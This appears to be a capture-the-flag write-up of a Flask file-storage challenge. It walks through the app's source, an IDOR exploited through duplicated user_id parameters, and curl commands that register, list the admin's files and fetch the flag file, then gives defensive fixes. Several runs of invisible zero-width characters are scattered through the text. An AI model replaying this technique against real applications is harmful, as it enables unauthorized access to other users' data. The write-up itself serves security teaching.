← Back to Writeups
CUSTOMMediumWeb

Корпоративное хранилище (Corporate Storage)

XESXOR9/2/20263 min read
#web#custom#medium#access_control_bypass#http_parameter_pollution#idor_exploitation

Корпоративное хранилище (Corporate Storage)

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: access_control_bypass, http_parameter_pollution, idor_exploitation

Summary

Walkthrough of the CUSTOM Web Корпоративное хранилище (Corporate Storage). Task: Flask file storage app with source code provided. Solution: Exploited HTTP Parameter Pollution combined with IDOR - the app uses first user_id for database query but last user_id for access chec

Description

"Это не просто папки и файлы, это настоящая крепость... ну, или так кажется. Попытайся не спалиться и докопаться до сокровищ. Кто знает, может, там и не только отчёты по бюджету."

Target: http://62.173.140.174:16088/
Source code: corpfiles_src.zip (provided)

Analysis

Source Code

The application is a Flask app for storing user files. The key vulnerable endpoint is in app/app.py:

python
@app.route('/api/files')
def api_files():
    user_ids = request.args.getlist('user_id')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    if len(user_ids) == 1:
        target_user_id = user_ids[0]
    elif len(user_ids) > 1:
        target_user_id = user_ids[0]  # First user_id used for query
        check_user_id = user_ids[-1]   # Last user_id used for access check
    else:
        target_user_id = session.get('user_id')
        check_user_id = session.get('user_id')

    if user_ids:
        check_user_id = user_ids[-1]
    else:
        check_user_id = session.get('user_id')

    if str(check_user_id) != str(session.get('user_id')):
        return {"error": "Access denied"}, 403
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    files = File.query.filter_by(owner_id=target_user_id).all()  # Query uses target_user_id!
    return {
        "files": [
            {"filename": f.filename, "file_id": f.file_id}
            for f in files
        ]
    }

Vulnerability: IDOR + HTTP Parameter Pollution

The authorization logic is split between two variables:

  • target_user_id — used to query files from the database (takes the first user_id)
  • check_user_id — used for access check (takes the last user_id) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

When passing two user_id parameters:

/api/files?user_id=1&user_id=2
  • Files are queried for user_id=1 (admin)
  • Access check is performed for user_id=2 (our user)

Application Structure

From init_app.py we can see that:

  • Admin (user_id=1) has a file secret.txt containing the flag
  • Files are accessible via the /file/<file_id> endpoint

Solution

Step 1: User Registration

bash
curl -s -c cookies.txt -X POST "http://62.173.140.174:16088/register" \
  -d "username=testuser123456&password=testpass123"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Authentication

bash
curl -s -c cookies.txt -b cookies.txt -X POST "http://62.173.140.174:16088/login" \
  -d "username=testuser123456&password=testpass123"

We get a session with user_id=2.

Step 3: IDOR Exploitation

We pass two user_id parameters — the first to query admin's files, the second to pass the access check:

bash
curl -s -b cookies.txt "http://62.173.140.174:16088/api/files?user_id=1&user_id=2"

Response:

json
{"files":[{"file_id":"3e6be0569344","filename":"secret.txt"}]}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Downloading the Secret File

bash
curl -s -b cookies.txt "http://62.173.140.174:16088/file/3e6be0569344"

Response:

CODEBY{REDACTED}

Defense

  1. Single source of identification — use only session.get('user_id') for all operations
  2. Don't accept user_id from request — if user is authenticated, their ID should be taken from the session
  3. File ownership verification — when downloading a file, verify that the current user is the owner

Fixed Code

python
@app.route('/api/files')
def api_files():
    user_id = session.get('user_id')
    if not user_id:
        return {"error": "Unauthorized"}, 401
    
    files = File.query.filter_by(owner_id=user_id).all()
    return {
        "files": [
            {"filename": f.filename, "file_id": f.file_id}
            for f in files
        ]
    }

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering access_control_bypass, http_parameter_pollution, idor_exploitation was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-01-06 • CUSTOM • Корпоративное хранилище (Corporate Storage) • Difficulty: Medium